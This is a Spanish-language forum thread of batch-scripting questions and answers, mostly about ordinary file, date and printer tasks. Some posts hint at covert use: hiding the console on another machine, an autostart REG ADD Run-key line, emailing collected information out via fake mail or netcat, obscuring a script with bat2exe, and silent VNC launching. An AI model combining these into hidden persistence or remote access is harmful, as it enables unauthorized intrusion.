Como se puede realizar en msdos un ps o un kill de un proceso???? existe alguna aplicacion que me almacene el resultado en un fichero, a parte de la de Ctr-alt-sup Gracias a todos. Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: TaN€R en 20 Agosto 2004, 10:29 am taskill proceso.exe, creo
Por cierto he aqui una aplicación,para que os limpieis de ***** el pc. limpieza de temporales y demas hierbas Código: del "C:\Documents and Settings\aquitumismo\Cookies\index.dat" > NUL Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: all en 29 Agosto 2004, 14:06 pm Que comandos podria emplear yo para que la ventana de msdos no saliera, y me refiero a algun comando en el .bat y no en un acceso directo, ya que pienso ejecutar este en otra maquina.
Muchas gracias de antemano ;) ;) ;) ;) ;) Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: TaN€R en 29 Agosto 2004, 14:55 pm Creo que debes poner -h (modo oculto)
y naturalmente NO usar dos post y 2 secciones diferentes para una misma pregunta saludos.. Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: all en 30 Agosto 2004, 11:43 am Lo que paso man es que no habia visto este post, no obstante para eso esta dudas generales para poner dudas que no sepamos donde ponerlas.
Eso mismo pense yo pero con -h no funciona, gracias de todos modos por el esfuerzo, por favor alguien que me de una mano, se lo agradeceria. Gracias de antemano Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: gperez en 2 Septiembre 2004, 03:32 am Hola!
Haber si me puedes ayudar! Estoy tratando de hacer un pequeño bat que verifique si existe un directorio y si no lo encuentra lo cree... no tengo ningun problema cuando no existe, el "problema" esta cuando si se encuentra el directorio, lo trata de creear y como ya esta me manda msg de directorio ya existe y se queda la ventana de DOS hasta que se cierre por el usuario... Que me sugieres? Gracias de antemano ::) Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: soplo en 6 Septiembre 2004, 10:07 am Hola
Código: if exist archivo goto Existe Un saludo Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: gperez en 7 Septiembre 2004, 04:16 am Muchas gracias Soplo, me es de mucha ayuda! :D
Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: ¥0 en 11 Septiembre 2004, 17:32 pm hola tengo una duda , me han dicho que yo puedo ocultar carpetas desde dos con un comando algo asi como -h y hacerlas visivles con algo asi como +h si es posible me gustaria saber si se podria hacer un bat que me oculte una carpeta y otro qu e la haga visible , desde ya gracias y disculpen las molestias
Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: soplo en 12 Septiembre 2004, 05:28 am Hola
El comando es attrib ATTRIB destino +/-H +/-R +/-S +/-M El atributo H es para poner o no oculto (hidden) El atributo R es para poner o no solo lectura (Read only) El atributo S es para indicar que es del sistema (system) El atributo M es para ponerlo como modificado o no. Para activar con el + y para desactivar con el - Así si pones ATTRIB c:\*.exe +h +r estás poniendo todos los ejecutables de c:\ como ocultos y read only. De puede aplicar a carpetas y lo que ellas contengan con /R Attrib /r c:\*.exe -h -r Si no pones ningún atributo entonces te muestra los que hay. attrib c:\*.exe Te muestra uno por uno los atributos que tiene puesto cada ejecutable de c:\ Un saludo Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: TatoCba en 30 Septiembre 2004, 23:30 pm Hola, soy nuevo en el foro y tengo un pequeño problema, necesito copiar un archivo de una carpeta a otra, pero que se copie con un nombre distinto cada vez, como por ejemplo la fecha u hora del sistema.
Es posible hacer esto desde un archivo .bat?? gracias muchas Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: tofamojo en 2 Octubre 2004, 04:36 am hola
me puede ayuda estoy haciendo pruebas para desinstalar un programa con un archivo . bat, pero no se utiliza el comando sabes hacer de el, uninst Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Lautaro87 en 3 Octubre 2004, 08:58 am para copiar subcarpetas utiliza el comando Xcopy.
Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: zoldic en 5 Octubre 2004, 01:06 am hola tengo una pregunta
yo quiero hacer un bat que me deje formatear una unidad luego me deje eleguir desde que unidad de cd quiero copiar archivos y luego quiero que me los copie y para terminar me deje ejecutar un programa de los archivos que me copio?? se puede realizar eso por que yo lo intente pero parece que me equivoque help porfavor Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: MaurcioM en 7 Octubre 2004, 03:08 am Hola a todos estoy haciendo un bat que me permita crear por ejemplo 20 carpetas desde el 100 al 120, osea una carpeta se llamara 100,102,103,104.....120 como puedo trabajar incrementando esto e probado con lo siguiente sin exito:
@echo off set /n contador_carpeta=100 :volver contador_carpeta=contador_carpeta + 1 md d:\%contador_carpeta% if %contador_carpeta==120 (goto fin) else ( goto volver) :fin Porfavor espero sus comentarios, a mi error, :-[ gracias.- Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: soplo en 8 Octubre 2004, 05:32 am Hola
Citar necesito copiar un archivo de una carpeta a otra, pero que se copie con un nombre distinto cada vez, como por ejemplo la fecha u hora del sistema. El comando COPY o XCOPY admiten los parámetros ORIGEN y DESTINO donde el destino puede incluir un nuevo nombre Código: COPY C:\LEEME.TXT C:\MIS DOCUMENTOS\LEEME2.TXT Esto no funciona si son archivos múltiples. En este caso habría que hacer un bucle for y para cada archivo hacer un copy. Citar yo quiero hacer un bat que me deje formatear una unidad luego me deje eleguir desde que unidad de cd quiero copiar archivos y luego quiero que me los copie y para terminar me deje ejecutar un programa de los archivos que me copio?? Código: @echo off Un saludo Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Ernst_74 en 9 Octubre 2004, 03:13 am Citar y como seria para borrar una clave del registro? Con esto he podido borrar y agregar valores al registro, espero que te sirva. Código: REG ADD HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Nombre_Del_Valor /t REG_EXPAND_SZ /d "Ruta_Hacia_el_archivo" saludos... PD:Muy buen manual soplo ;) Citar Buen ejemplo SpeDhy! Lo apliqué sobre la plataforma Win XP. Querría saber si conoceis algún comando similar a REG pero para la plataforma Windows2000?? Saludos desde Argentina!! 8) Ernst_74 8) PD: asiento lo antes dicho ... Muy buen manual soplo ;D Título: Enviar datos al correo Publicado por: jimros en 12 Octubre 2004, 02:04 am Hola, me gustaría saber como puedo enviar un correo desde un bat, básicamente es para obtener información y luego enviármela al correo, he esta leyendo un poco, pero no puedo encontrar solución, creo que es con telnet, pero no me conecta con el servidor, o siempre algo sucede que el correo no llega, estuve viendo algo de perl, y tiene una linea que esta muy buena, sendmail o algo así, se puede hacer algo así con un bat. Saludos
Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: nastonefasto en 15 Octubre 2004, 19:26 pm Hola, como puedo crear un bat que me borre los ficheros de un directorio con mas de una semana de antiguedad.
Gracias. Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: MrF0t0 en 22 Octubre 2004, 07:21 am Muy buenas, soy nuevo pero he leido una gran parte de este foro de .BAT puesto que me toca luchar con ello.
Mi duda es la siguiente.... Hay alguna manera de proteger un bat, convertirlo a otro formato ilegible, o hacerlo prácticamente invisible para los usuarios? Si no se puede evitar que se vea el contenido, algún truco que les cueste lo suyo verlo. Gracias y un saludo a todos... :P Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: soplo en 22 Octubre 2004, 08:13 am Hola
Puedes descargarte bat2com o bat2exe que convierte un fichero bat en un exe y ahora que miren lo que hay dentro. Un saludo Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: xachillo en 26 Octubre 2004, 01:47 am Hola:
Estoy buscando información de como poder redirigir el puerto lpt1 para que me imprima en lpt2, en el mismo equipo. He estado buscando por internet y no doy encontrado ningun comando de Msdos que haga exactamente eso. Que por defecto un programa basado en Msdos me imprima directamente en lpt2. Por lo que tengo leido creo que tengo crear un bat, pero no estoy seguro. Existe el comando mode para redirigir el puerto pero me parece que solo reirige a puertos com. Y ese no es mi caso. Un saludo y espero que alguien responda mi post. Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: MrF0t0 en 26 Octubre 2004, 08:03 am Muchas gracias Soplo, buscaré el programilla y me pegaré con el, pero es justo lo que necesitaba.
Muchas gracias y que disfrutes el próximo largo fin de semana... Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: LicMendoza en 17 Noviembre 2004, 07:58 am Estimados Amigos:
Me pueden ayudar, estoy creando un archivo .BAT para borrar los archivos de una carpeta y tengo este problema, cuando lo ejecuto siempre me pregunta si estoy seguro de borrarlos "ARE YOU SURE (Y or N) como puedo hacer para que no me lo pregunte y sea automático el borrar los archivos???? Gracias.. Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: acostag en 17 Noviembre 2004, 12:58 pm LicMendoza
yo tengo un batch donde borro y copio varios archivos diarios y la instruccion que pongo es esta... Echo Y|del c:\paso\*.txt has pruebas y nos avisas.. saludos ::) Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: jvchino en 17 Noviembre 2004, 17:24 pm echo S | del <ruta>*.* >nul (Para DOS en castellano)
echo Y | del <ruta>*.* >nul (Para DOS en ingles) Donde: Ruta: ruta completa de la carpeta cuyos archivos desees borrar. Ejm: echo S | del C:\juegos\viejos\*.* >nul Saludos. Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: barbas en 17 Noviembre 2004, 20:16 pm Tengo una duda con el comando for , en la explicacion aparece el ejemplo
FOR %%x IN (texto1.txt texto2.txt texto3.txt) do delete %%i pero yo quiero hacer un bucle que dentro del for haya distintas ordenes, como FOR %%x IN (texto1.txt texto2.txt texto3.txt) do delete %%i copy *.txt dir y ahora acabar el bucle pero no se como hacerlo. Si pongo la sentencia en la siguiente linea me kaska el bat, y si lo pongo a continucaion tambien, he probado con ; ..., pero no lo consigo Gracias por adelantado Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: barbas en 17 Noviembre 2004, 21:23 pm Ya lo he descubierto, que chorrada, solo hay que poner parentesis
for ........... do ( sentencia 1 sentencia 2 sentencia 3 ) Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: CapNida en 18 Noviembre 2004, 05:06 am Hola a todos.
Necesito hacer una copia de unos archivos de un ordenador a otro cada vez que se arranque el ordenador. Los ordenadores estan en red. He visto que se podia acceder por el nombre NETBIOS, pero no he conseguido hacerlo. En resumen, me gustaria copiar unos archivos de una ruta de red, por ejemplo \\Control\Carpeta\archivo.txt a otra carpeta local, por ejemplo c:\seguridad\. Espero que me puedan ayudar a hacer un .bat para realizar esta accion. Gracias de antemano. Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: loissolrac en 18 Noviembre 2004, 09:03 am Buenas a todos:
Estoy intentando hacer un fichero en perl en un sistema remoto con el comando echo, de la siguiente manera echo ftp->net::ftp.... >> ftp.pl pero el primer >, no me lo permite por indicar salida a fichero, y lo que obtengo en el fichero creado ftp.pl es solo ftp- y me falta todo lo siguiente …>net::ftp...., y es básico para mi objetivo, como puedo realizarlo? Gracias por anticipado ??? Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: loissolrac en 19 Noviembre 2004, 06:29 am Bueno por fín lo encontré sería:
...ftp-^>^... y aparecería como ftp-> :P Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: echc en 26 Noviembre 2004, 07:21 am Hola a todos, y a ver si alquien puede ayudarme.
Mi problema es el siguiente: Tengo varios cientos de archivos *.zip cada uno de los cuales contiene un único elemento a descomprimir. Necesito encontrar la manera de descomprimirlos todos de una tacada y, además, renombrar cada archivo descomprimido añadiéndole a su propio nombre el del archivo zip correspondiente. Estuve dándole vueltas a la ayuda de línea de comandos de Win Xp y a los viejos libros del DOS, pero no veo la forma de conseguirlo. Saludos y gracias de antemano. Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: luna negra en 29 Noviembre 2004, 19:55 pm Hola, yo soy nueva en esto de la progrmación batch, y la verdad es que no tengo ni idea, pero necesito hacer un proceso .bat a una hora determinada, por ejemplo a media noche, y todos los días. El cual haga un barrido de una consulta sql en una base de datos y si encuentra respuesta mandar un correo a la persona que ejecutó la consulta.
Si alguien pudiera ayudarme, es importante, gracias Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: pebre en 10 Diciembre 2004, 05:55 am Hola! Tengo un bat que hace backup de una base de datos oracle, esto genera un archivo (*.dmp), mi pregunta es:
como puedo hacer para que se adicione por ejemplo la fecha al nombre del archivo cada vez que se ejecute el .bat ? ej. nombrearchivo041204.dmp ;) Soy nuevo en programacion bat. Gracias. Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: OutShell en 14 Diciembre 2004, 22:41 pm Hola a todos. Soy nuevo por aquí y veo que hay un gran nivel, a ver si me puedo pasar más a menudo. Bueno, y a lo que iba, a ver si me podeis solucionar una duda. Me gustaría hacer un script batch que cree de forma automática un directorio que por nombre tenga la fecha del día en que ejecutamos el archivo .bat, pero no encuentro la forma de hacerlo, seguro que alguno se le ocurre algo. Muchas gracias.
Un saludo. Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: ceo en 21 Diciembre 2004, 04:15 am :)
Hola a todos. Necesito ayuda con lo siguiente: quiero hacer un bat que cree una carpeta cuyo nombre sea la fecha y hora del sistema operativo. Alguien tiene idea de como se hace?. Gracias por sus comentarios. Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: FiReBlAdE2 en 24 Diciembre 2004, 02:52 am solo funciona para w2k/xp...pq utiliza las extensiones de los comandos de consola y de las variables de entorno; espero que te sirva...
@echo off cmd /v:on date /t > .\mio.txt time /t >> .\mio.txt for /f "usebackq tokens=1,2" %%i in (`type .\mio.txt`) do set mifecha=%%i %%j !mifecha! mkdir %mifecha% Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: OutShell en 24 Diciembre 2004, 04:11 am Bueno, pues durante el día de hoy encontré la solución a mi problema, aunque es un poco más drástica que la que acaba de publicar FiReBlAdE2, pero a cambio funciona indistintamente en windows 2k/xp y en 9x ;).
Lo primero (solo para windows 9x) debemos crear un archivo que simule a la tecla intro, para esto hacemos lo siguiente: copy con "nombre de archivo" y pulsamos intro 2 veces el intro y luebo Ctrl+z y otra vez al intro, de esta forma se nos crea un archivo que ocupa 2 bytes y que nos va a servir para simular la tecla intro. Imaginemos que este archivo se va a llamar "intro.txt", luego el codigo sería este: echo off cls set %1 set dia=00 set mes=00 set año=00 if %OS% == Windows_NT goto winnt goto win9x :winnt date /t > date.txt goto dia :win9x date <intro.txt |find "actual" >date.txt goto dia :dia find " 01/" <date.txt if errorlevel 0 if not errorlevel 1 set dia=01 find " 02/" <date.txt if errorlevel 0 if not errorlevel 1 set dia=02 find " 03/" <date.txt if errorlevel 0 if not errorlevel 1 set dia=03 find " 04/" <date.txt if errorlevel 0 if not errorlevel 1 set dia=04 find " 05/" <date.txt if errorlevel 0 if not errorlevel 1 set dia=05 find " 06/" <date.txt if errorlevel 0 if not errorlevel 1 set dia=06 find " 07/" <date.txt if errorlevel 0 if not errorlevel 1 set dia=07 find " 08/" <date.txt if errorlevel 0 if not errorlevel 1 set dia=08 find " 09/" <date.txt if errorlevel 0 if not errorlevel 1 set dia=09 find " 10/" <date.txt if errorlevel 0 if not errorlevel 1 set dia=10 find " 11/" <date.txt if errorlevel 0 if not errorlevel 1 set dia=11 find " 12/" <date.txt if errorlevel 0 if not errorlevel 1 set dia=12 find " 13/" <date.txt if errorlevel 0 if not errorlevel 1 set dia=13 find " 14/" <date.txt if errorlevel 0 if not errorlevel 1 set dia=14 find " 15/" <date.txt if errorlevel 0 if not errorlevel 1 set dia=15 find " 16/" <date.txt if errorlevel 0 if not errorlevel 1 set dia=16 find " 17/" <date.txt if errorlevel 0 if not errorlevel 1 set dia=17 find " 18/" <date.txt if errorlevel 0 if not errorlevel 1 set dia=18 find " 19/" <date.txt if errorlevel 0 if not errorlevel 1 set dia=19 find " 20/" <date.txt if errorlevel 0 if not errorlevel 1 set dia=20 find " 21/" <date.txt if errorlevel 0 if not errorlevel 1 set dia=21 find " 22/" <date.txt if errorlevel 0 if not errorlevel 1 set dia=22 find " 23/" <date.txt if errorlevel 0 if not errorlevel 1 set dia=23 find " 24/" <date.txt if errorlevel 0 if not errorlevel 1 set dia=24 find " 25/" <date.txt if errorlevel 0 if not errorlevel 1 set dia=25 find " 26/" <date.txt if errorlevel 0 if not errorlevel 1 set dia=26 find " 27/" <date.txt if errorlevel 0 if not errorlevel 1 set dia=27 find " 28/" <date.txt if errorlevel 0 if not errorlevel 1 set dia=28 find " 29/" <date.txt if errorlevel 0 if not errorlevel 1 set dia=29 find " 30/" <date.txt if errorlevel 0 if not errorlevel 1 set dia=30 find " 31/" <date.txt if errorlevel 0 if not errorlevel 1 set dia=31 :mes find "/01/" <date.txt if errorlevel 0 if not errorlevel 1 set mes=01 find "/02/" <date.txt if errorlevel 0 if not errorlevel 1 set mes=02 find "/03/" <date.txt if errorlevel 0 if not errorlevel 1 set mes=03 find "/04/" <date.txt if errorlevel 0 if not errorlevel 1 set mes=04 find "/05/" <date.txt if errorlevel 0 if not errorlevel 1 set mes=05 find "/06/" <date.txt if errorlevel 0 if not errorlevel 1 set mes=06 find "/07/" <date.txt if errorlevel 0 if not errorlevel 1 set mes=07 find "/08/" <date.txt if errorlevel 0 if not errorlevel 1 set mes=08 find "/09/" <date.txt if errorlevel 0 if not errorlevel 1 set mes=09 find "/10/" <date.txt if errorlevel 0 if not errorlevel 1 set mes=10 find "/11/" <date.txt if errorlevel 0 if not errorlevel 1 set mes=11 find "/12/" <date.txt if errorlevel 0 if not errorlevel 1 set mes=12 :año find "2004" <date.txt if errorlevel 0 if not errorlevel 1 set año=04 find "2005" <date.txt if errorlevel 0 if not errorlevel 1 set año=05 find "2006" <date.txt if errorlevel 0 if not errorlevel 1 set año=06 :carpeta cls md %1%dia%-%mes%-%año% :end Se podría depurar un poco más, pero para lo que yo quería sobra ;D. La primera variable es para poder poner la ruta donde queremos que se cree la carpeta, por ejemplo imaginemos que el archivo .bat se llama fecha: fecha c:\dias\ de esta forma se crearía una carpeta de nombre 00-00-00 en la carpeta c:\dias, con lo que a día de hoy se quedaría así: c:\días\23-12-04\ Espero que le sirva a lguien. Un saludo. Título: Ayuda... Publicado por: jhackes en 2 Enero 2005, 15:23 pm Y BUENO EL CODIGO que LES PONGO AHORA NO ES DE UN VIRUS NI MUCHO MENOS PERO TAMBIEN ES DE UN BAT, ASI que LO PONGO Y DESPUES EXPLICO MI PROBLEMA:
Código: @rem ServAnalizer.bat V 0.1 @echo off @cls @set host=127.0.0.1 @set name=Desconocido @set existe=si @rem especificaron un host?? @if "%1"=="" goto shost @set host=%1 @rem existe el hot?? @PING %host% | FIND "TTL=" > nul @if errorlevel 1 set existe=no @if "%existe%"=="no" goto snoexiste @rem tomamos solo el nombre @for /f "delims=9*" %%n in ('nslookup %host% ^| FIND ^"Nombre: ^"') do @set name=%%n @echo Analizando, %name% @pause @goto out @rem Los mensajes de salida y error :shost @echo Ocurrio un error, ud no ha especificado el host a analizar :( @goto out :snoexiste @echo El host que ud especifico no existe o esta apagado. @goto out :out EL PROBLEMA ESTA AKI: Código: @for /f "delims=9*" %%n in ('nslookup %host% ^| FIND ^"Nombre: ^"') do @set name=%%n @echo Analizando, %name% YA que LA SALIDA AL PASAR POR EJEMPLO, LA IP 216.239.39.99 ES: Analizando, Nombre: google.com CUANDO DEBERIA SER: Analizando, google.com Y PUES NO ENTIENDO POR que NO ME FUCIONA CON LA OPCION "tokens=9*", que INDICA LO que SE PASA AL FOR, SOLO FUNCIONA CON EL "delims=9*" Y NO DEBERIA DE SER ASI, POR que "delims" INDICA LOS SEPARADORES ENTRE LOS tokens.. Gracias, de ante mano.. Saluditops!!! & bytes!!! Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: soplo en 12 Enero 2005, 08:16 am Hola
Citar Hola! Tengo un bat que hace backup de una base de datos oracle, esto genera un archivo (*.dmp), mi pregunta es: Dispones de la variable de entorno %date% que te devuelve la fecha del sistema así que la cosa sería algo como esto:como puedo hacer para que se adicione por ejemplo la fecha al nombre del archivo cada vez que se ejecute el .bat ? Código: ren *.dmp %date%*.dmp Citar Me gustaría hacer un script batch que cree de forma automática un directorio que por nombre tenga la fecha del día en que ejecutamos el archivo .bat Utilizando la misma variable:Código: md %date% Citar quiero hacer un bat que cree una carpeta cuyo nombre sea la fecha y hora del sistema operativo. Alguien tiene idea de como se hace?. Pues igual. Con las variables %date% y %time% Código: md %date%_%time% Un saludo Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: pato99 en 14 Enero 2005, 19:40 pm Hola estuve examinando tu codigo del programa para obtener la fecha y hora y concretamente la linea
for /f "usebackq tokens=1,2" %%i in (`type .\mio.txt`) do set mifecha=%%i %%j !mifecha! Me podrías explicar para que usas !mifecha! y como funciona, creo que sirve para que vaya actualizando el valor de la variable dentro del bucle pero no lo tengo muy claro Muchas gracias a todos por vuestros aportes, espero colaborar en lo que pueda Citar Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Helga en 15 Enero 2005, 01:42 am Hola a todos!!, Espero me puedan ayudar con mi problema...
Estoy haciendo un script .bat, para redireccionar un puerto y poder conectar una impresora que se encuentra en red. Estuve buscando información y encontre que se supone me debería funcionar el siguiente comando: net use lpt1:\\nombreequipodondeestalaimpresora\nombreimpresora estoy haciendo esto en windows server 2003, y resulta que tiene otra configuracion de puertos, entonces yo puse el comando de la siguiente manera: net use TS007:\\nombreequipodondeestalaimpresora\nombreimpresora pero no me funciona. Alguien sabe cual es el error que estoy cometiendo, cuando ejecuto esto me aparece el siguiente error: error de sistema 67: No se encuentra el nombre de red especificado. Tengo que agregar algo más al archivo.bat o que? Por favor, agradecería mucho su ayuda :'( De ante mano muchas gracias Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Ladicita en 16 Enero 2005, 01:57 am Tewngo una duda...
Puedo enviar emails atraves de los BATS? Me gustaria saber ...Gracias Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: ed-C en 19 Enero 2005, 10:10 am Hola a todos
Lo primero dar una felicitacion tanto a los moderadores del foro como a los usuarios que ayudan con este foro. Dicho esto explico mi duda, necesito ayuda con un ejercicio para crear un fichero *.bat estuve buscando por el foro si existia una sección de programacion MSDOS, como no la encontre dude entre ponerlo en Dudas en general o Programacion general, al final decidi ponerlo aqui ya que lo vi algo mas relacionado ... o eso me indico mi inculturilla en el mundo de la creacion de ficheros *.bat Luego pense lo posteo dentro de ejercicios o no??? al final decidi que si y si mi decision fue erronea pido disculpas y que un moderador traslade el mensaje a el lugar donde mejor este. Gracias de antemano. Aqui os dejo el enunciado del ejercicio en su totalidad: Citar Realizar un fichero BAT llamado SISTEMAS.BAT con el siguiente menú y que realice las opciones que se especifican. MENU PRINCIPAL 1. Utilidades del sistema 2. Utilidades de ficheros 3. Salir al S.O Desde este fichero se llama a otros dos ficheros *.bat llamados SISTEMA.BAT y FICHEROS.BAT SISTEMA.BAT: este fichero sacara en pantalla el siguiente menú y realizara las operaciones que se especifican a continuación: MENU DEL SISTEMA A. Actualizar y visualizar la fecha del sistema B. Visualizar las caracteristicas del sistema C. Visualizar la hora del sistema D. Analizar los problemas del disco duro E. Salir al menú principal FICHERO.BAT: este fichero sacara en pantalla el siguiente menú y realizara las siguientes operaciones: MENU DEL FICHERO A. Visualizar el directorio de la unidad determinada B. Visualizar el contenido de un fichero paginado C. Renombrar un fichero D. Copiar un fichero E. Borrar varios ficheros F. Salir al menu principal Elige la opción deseada Gracias de antemano. Espero contestacion :D NOTA:Encontre a posteriori esta sección del foro pero ya habia preguntado en la sección de programacion ejercicios porque hice la busqueda de temas en vez de por bat msdos por ejercicios msdos, asi que si los moderadores quereis borrar uno (lo veo logico) decicdir donde esta mejor planteada la duda, perdon por el duplicado del mensaje y gracias de antemano Título: TUTORIAL PROGRAMACION BAT Publicado por: jorges en 19 Enero 2005, 20:51 pm Saludos a todos.
Hay alguna forma de automatizar lo siguiente : ----------------------------------- move a:\archivo C:\WINDOWS\Escritorio\Carpeta\Int\ cd C:\WINDOWS\Escritorio\Carpeta\Int\ if exist C:\WINDOWS\Escritorio\Carpeta\Int\archivo.413 ren archivo archivo.414 if exist C:\WINDOWS\Escritorio\Carpeta\Int\archivo.414 ren archivo archivo.415 if exist C:\WINDOWS\Escritorio\Carpeta\Int\archivo.415 ren archivo archivo.416 if exist C:\WINDOWS\Escritorio\Carpeta\Int\archivo.416 ren archivo archivo.417 if exist C:\WINDOWS\Escritorio\Carpeta\Int\archivo.417 ren archivo archivo.418 if exist C:\WINDOWS\Escritorio\Carpeta\Int\archivo.418 ren archivo archivo.419 if exist C:\WINDOWS\Escritorio\Carpeta\Int\archivo.419 ren archivo archivo.420 if exist C:\WINDOWS\Escritorio\Carpeta\Int\archivo.420 ren archivo archivo.421 if exist C:\WINDOWS\Escritorio\Carpeta\Int\archivo.421 ren archivo archivo.422 etc., etc., etc. start C:\WINDOWS\Escritorio\Carpeta\Int ----------------- Gracias Título: Como crear un respaldo con nombre cambiante Publicado por: Peritintin en 20 Enero 2005, 05:03 am Hola, recien me he registrado, he mirado las dudas de los nombres cambiantes, espero que les sea de utilidad el sigueinte bat
echo off set ndia= set dia= set mes= set año= set desal= set hora= set minuto= set meridiano= set separa=- set datos= set bitac= for /f "tokens=1-4 delims=/ " %%a in ('date /t') do (set ndia=%%a& set dia=%%b& set mes=%%c& set año=%%d) set desal=fecha%dia%%mes%%año% for /f "tokens=1-3 delims=: " %%x in ('time /t') do (set hora=%%x& set minuto=%%y& set meridiano=%%z) set desal=%desal%%separa%%hora%%minuto%%meridiano% set datos=%desal%.dmp set bitac=%desal%.log exp system/system@conexionoracle GRANTS=Y ROWS=Y STATISTICS=NONE file=f:\backups\%datos% log=f:\backups\%bitac% owner=SYSSCG IF ERRORLEVEL 0 goto compacta goto error :compacta winrar A %desal% %datos% %bitac% if errorlevel 0 goto mueve goto error1 :mueve move %desal%.rar e: if errorlevel 0 goto todook :todook cls echo todo bien!!!! "El ejemplo es una orden en silencio" B.P. Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: Peritintin en 20 Enero 2005, 05:13 am :) Hola a todos. Necesito ayuda con lo siguiente: quiero hacer un bat que cree una carpeta cuyo nombre sea la fecha y hora del sistema operativo. Alguien tiene idea de como se hace?. Gracias por sus comentarios. Puede hacerse de la siguiente forma : echo off set ndia= set dia= set mes= set año= set desal= set hora= set minuto= set meridiano= set separa=- set directorio= for /f "tokens=1-4 delims=/ " %%a in ('date /t') do (set ndia=%%a& set dia=%%b& set mes=%%c& set año=%%d) set directorio=fecha%dia%%mes%%año% for /f "tokens=1-3 delims=: " %%x in ('time /t') do (set hora=%%x& set minuto=%%y& set meridiano=%%z) set directorio=%directorio%%separa%%hora%%minuto%%meridiano% mkdir %directorio% Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: soplo en 23 Enero 2005, 23:50 pm Hola
Citar Puedo enviar emails atraves de los BATS? Directamente no, no hay ningún comando para ello. Lo que si puedes hacer es un bat que llame a aplicaciones que si son capaces de hacerlo.Para ello te recomiento que mires la técnica de 'fake mail' y herramientas como telnet y netcat. Un saludo Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: dani_travieso en 27 Enero 2005, 03:20 am hola
Tengo un problemita seguro para usetd sera una casilla, es que no se programar en bat. Bueno este es mi problemita, como puedo crear un bat que me ahorre el tiempo en darle doble click a esto archivos y de pase ejecute el archivo winvnc.exe: archivo 1 : install.bat archivo 2 : install_silent.bat archivo 3 : winvnc.exe Solo quiero dar doble click al bat creado por usted y listo que solo aparezca el la opcion de configuracion del programa ejecutado `por el bat Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: davidpg en 27 Enero 2005, 06:24 am Hola a todos, soy nuevo en esto de la programación y me gustaria saber si es posible crear un bat que me permita enviar un mail automatico a una direccion concreta y despues ejecutar el cierre de sistema.
Segun lo que vengo leyendo en los distintos foros, este incluido, mi programa es como sigue: echo off :EnviaMens start.exe /w mailto:?to="davidpg@telepolis.com"&subject="Cierre de Sistema" -h :CierraApl&Sis RUNDLL32.EXE SHELL32.DLL,SHExitWindowsEx 6 Haber si alguien me puede ayudar xfavor, lo necesito. Muchas gracias. Título: GOTO y XP ERROR ' Publicado por: jorges en 3 Marzo 2005, 18:40 pm Bueno de nuevo por aqui con un problema :
Porque la siguiente sentencia es valida en win98 y en Xp me da error ? CD C:\DOCUME~1\J\ESCRIT~1\C IF NOT EXIST 1 RENAME A 1.TXT GOTO FIN IF NOT EXIST 2 RENAME A 2.TXT GOTO FIN IF NOT EXIST 3 RENAME A 3.TXT GOTO FIN :FIN En Win98 instruccion correcta en Xp "La sintaxis del comando no es correcta" Gracias Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: soplo en 10 Marzo 2005, 04:51 am Hola
Citar CD C:\DOCUME~1\J\ESCRIT~1\C Esa trayectoria no es correcta a menos que tengas en el escritorio una carpeta llamada CCitar IF NOT EXIST 1 RENAME A 1.TXT GOTO FIN Eso no es correcto. Exist devuelve true si existe un fichero y false si no existe. Lo correcto sería IF NOT EXIST MIARCHIVO.TXT ... La orden IF NOT EXIST 1 RENAME A 1.TXT GOTO FIN está mal IF NOT EXIST 1 (si no existe el archivo '1') RENAME A 1.TXT (renombra el archivo A como 1.txt) Supongo que note refieres al 1 anterior, porque no es lo mismo 1 que 1.txt. Por último la orden exist no admite dos órdenes si se cumple la condición. Tu has puesto Citar IF NOT EXIST 1 condición1 condición2 lo correcto seríaCódigo: IF NOT EXIST 1 GOTO NOEXISTE1 Título: Re: TUTORIAL PROGRAMACION BAT Publicado por: pulposo en 13 Marzo 2005, 11:29 am yo de programacion bastante mal, pero ahora me ha cogido por aprender, y que mejor que en bat.
